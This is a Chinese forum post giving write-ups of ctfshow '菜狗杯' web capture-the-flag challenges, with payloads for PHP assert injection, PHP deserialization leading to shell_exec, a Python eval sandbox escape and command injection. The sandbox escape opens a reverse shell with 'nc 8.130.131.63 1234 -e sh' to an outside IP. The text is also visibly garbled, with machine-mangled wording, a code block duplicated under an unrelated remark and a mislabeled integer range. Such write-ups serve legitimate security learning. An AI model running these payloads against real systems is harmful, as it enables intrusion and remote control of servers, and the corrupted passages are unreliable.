ctfshow-菜狗杯-web

打印 上一主题 下一主题

主题 912|帖子 912|积分 2736

菜狗杯

一言既出

打开标题就是一个朴实无华的php代码

我们分析一下:
需要传入一个num的参数,使num==114514,反面颠末intval转化后要num==1919810,否则直接结束历程
这下就有点难办了,但实在我们只要实在闭合一下这个assert函数,不让这个结束的条件建立就行,payload如下
  1. num=114514);//
复制代码

大概另有一种解法,用了%2B,这是加号+的url编码
当我们输入一下payload
  1. num=114514%2B(1919810-114514)
复制代码
解释一下payload,实在在第一次判定的时候,他的值是114514,这就完成了第一次判定,但是当第二次判定,在intval函数下,他会先举行运算,然后再将结果举行判定,这就完成了payload。
驷马难追

打开标题和上道题一样

唯一不同的就是加了一层waf,比如小写字母,分号,括号不能用,所以这道题我们不能闭合,只能借用谁人url编码,同时利用intval函数的特性去构造payload。
payload如下
  1. num=114514%2B1919810-114514
复制代码

TapTapTap

打开标题是一个小游戏,这真忍不住,上去玩了一下,关键词是LEVEL,这种题都是js小游戏,我们就直接源码找,搜LEVEL

功夫不负有心人,也是找到了一串可疑的base64的代码

解码得到,得知flag在这个路径下面

直接访问这个文件,成功拿到flag

Webshell

打开标题,是php反序列化的题

详细来说这个流程就是
  1. new Webshell()->__construct->__init->exec()
  2. 最后执行shell_exec($cmd) //shell_exec就是执行系统命令,一般无回显,这里贴心的给你回显了
复制代码
我们打开php在线,去构造一下PHP 在线工具 | 菜鸟工具 (jyshare.com)
构造代码如下:
  1. [/code][code]O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A2%3A%22ls%22%3B%7D
复制代码
然后我们传一下参数看看行不,发现简直可以

留意前面代码,我们不能输入flag,被过滤了,所以这里我们使用通配符*****
这里我们只用把构造代码中的 cmd的值更改一下
  1. public $cmd = 'cat f*';
复制代码
  1. O%3A8%3A%22Webshell%22%3A1%3A%7Bs%3A3%3A%22cmd%22%3Bs%3A6%3A%22cat+f%2A%22%3B%7D
复制代码
传参后发现一片空缺,F12看一下源码,简直在内里

化零为整

打开标题,就是php代码,十分害怕

我们分析一下代码
$_GET,就是担当了多少了多少个参数
if(strlen($_GET[$i])>1)这一部分就是告诉我们,我们每次只能输入一个字符****,汉字是两个字符
我们今后看,result这个变量会拼接我们输入进去的参数
最后当result==“大牛”,才会输出flag
这个时候问题就是我们怎样输入“大牛”,每次只能才气输入一个字符,这里我们就可以url编码,将”大牛“编码一下,一次输入一个字符

然后构造payload:
  1. 1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B
复制代码

无一幸免


这道题就是0=? //传啥都行
payload如下
  1. 0=1
复制代码

传说之下(雾)

是一个小游戏,小玩一会

应该还是js小游戏,F12直接找,分数用的score,我们直接搜索

我们应该修改这个score的值,然后吃一个豆,他就更新成nowScore,我们找找这个对象名字

找到之后,直接控制台修改,
  1. Game.score=3000
复制代码
停息修改事后,我们直接回到游戏,吃一个豆,分数就够了,得到flag

算力超群

打开标题就是一个计算器,我们运行一个计算,抓包看看

当我们把number2改为非法的字符串的时候

返回的页面如下所示:

发现路径为 /app/app.py
伤害的函数如下:
  1. result=eval(a + operator +b)
复制代码
搜了一下,可用的方法就是 沙箱逃逸 ,emmmm,完全不懂,那就搜一下
一文看懂Python沙箱逃逸 - FreeBuf网络安全行业门户
[PyJail] python沙箱逃逸探究·总览(HNCTF题解) - 知乎 (zhihu.com)
直接反弹shell
  1. _calculate?number1=1&operator=%2B&number2=1,__import__('os').system('nc 8.130.131.63 1234 -e sh')
复制代码

拿到flag

算力升级(未做出来)

还不会,pass
easyPytHon_P

这道题是给了源码

我们分析一下,我们需要传入两个参数 一个 cmd 一个 param,反面有个命令实行的函数,所以我们需要构造一个命令,用这两个参数,但是 cmd 是有限制的,只能读取三位,分析完毕,我们开始构造payload
  1. cmd=ls&param=/
复制代码
但是我们传参数始终不对,没有得到我们想要的结果,实在这里又考了flask的传参,实在不是GET传参,而是POST
flask的传参方式

  • get请求
  1. request.args.get("key") 获取get请求参数
复制代码

  • post请求
  1. request.form.get("key", type=str, default=None) 获取表单数据
  2. request.values.get("key") 获取所有参数
复制代码
所以这里我们用hackbar POST传参就行了

实在flag没在根目录,就在当前的目录,那我们直接就读取了
  1. cmd=cat&param=./flag.txt
复制代码

遍地飘零


变量覆盖问题CTF中的变量覆盖问题 - My_Dreams - 博客园 (cnblogs.com)
payload
  1. _GET=flag
复制代码

茶歇区

考的是整数溢出,以下是常见的数值范围
  1. uint8 -> 0-255
  2. uint16 -> 0-65535
  3. uint32 -> 0-4294967295
  4. uint36 -> 0-18446744073709551615
  5. int8 -> -127-128
  6. int16 -> -32768-32767
  7. int32 -> -2147483648-2147483647
  8. int64 -> -9223372036854775808-9223372036854775807
复制代码
让我拿东西得分,我直接弄了很多,直接负数很离谱

我继续这样,就flag了

小舔田?

打开标题就是源码,看的出来是反序列化

先补充魔术方法吧
  1. __construct()            //类的构造函数,创建对象时触发
  2. __destruct()             //类的析构函数,对象被销毁时触发
  3. __call()                 //在对象上下文中调用不可访问的方法时触发
  4. __callStatic()           //在静态上下文中调用不可访问的方法时触发
  5. __get()                  //读取不可访问属性的值时,这里的不可访问包含私有属性或未定义
  6. __set()                  //在给不可访问属性赋值时触发
  7. __isset()                //当对不可访问属性调用 isset() 或 empty() 时触发
  8. __unset()                //在不可访问的属性上使用unset()时触发
  9. __invoke()               //当尝试以调用函数的方式调用一个对象时触发
  10. __sleep()                //执行serialize()时,先会调用这个方法
  11. __wakeup()               //执行unserialize()时,先会调用这个方法
  12. __toString()             //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
复制代码
然后我们来构造链子
  1. Moon::wakeup()->Ion_Fan_Princess::tostring()->Ion_Fan_Princess::call
复制代码
分析完毕,打开php在线,开始操作、
  1. <?php
  2. include "flag.php";
  3. highlight_file(__FILE__);
  4. class Moon{
  5.     public function __wakeup(){
  6.         echo "我是".$this->name."快来赏我";
  7.     }
  8. }
  9. class Ion_Fan_Princess{
  10.     public $nickname="牛夫人";
  11.     public function call(){
  12.         global $flag;
  13.         if ($this->nickname=="小甜甜"){
  14.             echo $flag;
  15.         }
  16.     }
  17.    
  18.     public function __toString(){
  19.         $this->call();
  20.     }
  21. }
  22. $a = new Moon();
  23. $a->name = new Ion_Fan_Princess();
  24. $a->name->nickname="小甜甜";
  25. echo urlencode(serialize($a));
复制代码
然后我们MD5加密一下看一下天生的是什么
  1. <?php
  2. include "flag.php";
  3. highlight_file(__FILE__);
  4. class Moon{
  5.     public function __wakeup(){
  6.         echo "我是".$this->name."快来赏我";
  7.     }
  8. }
  9. class Ion_Fan_Princess{
  10.     public $nickname="牛夫人";
  11.     public function call(){
  12.         global $flag;
  13.         if ($this->nickname=="小甜甜"){
  14.             echo $flag;
  15.         }
  16.     }
  17.    
  18.     public function __toString(){
  19.         $this->call();
  20.     }
  21. }
  22. $a = new Moon();
  23. $a->name = new Ion_Fan_Princess();
  24. $a->name->nickname="小甜甜";
  25. echo urlencode(serialize($a));
复制代码
  1. 1.jpg;ls
复制代码
然后我们利用pull去实行
  1. ?action=pull&input=1.jpg;ls&1=system("ls /");
复制代码

然后直接查察flag
  1. ?action=pull&input=1.jpg;ls&1=system("cat%20/f*");
复制代码

龙珠NFT(未做出来)


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

郭卫东

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表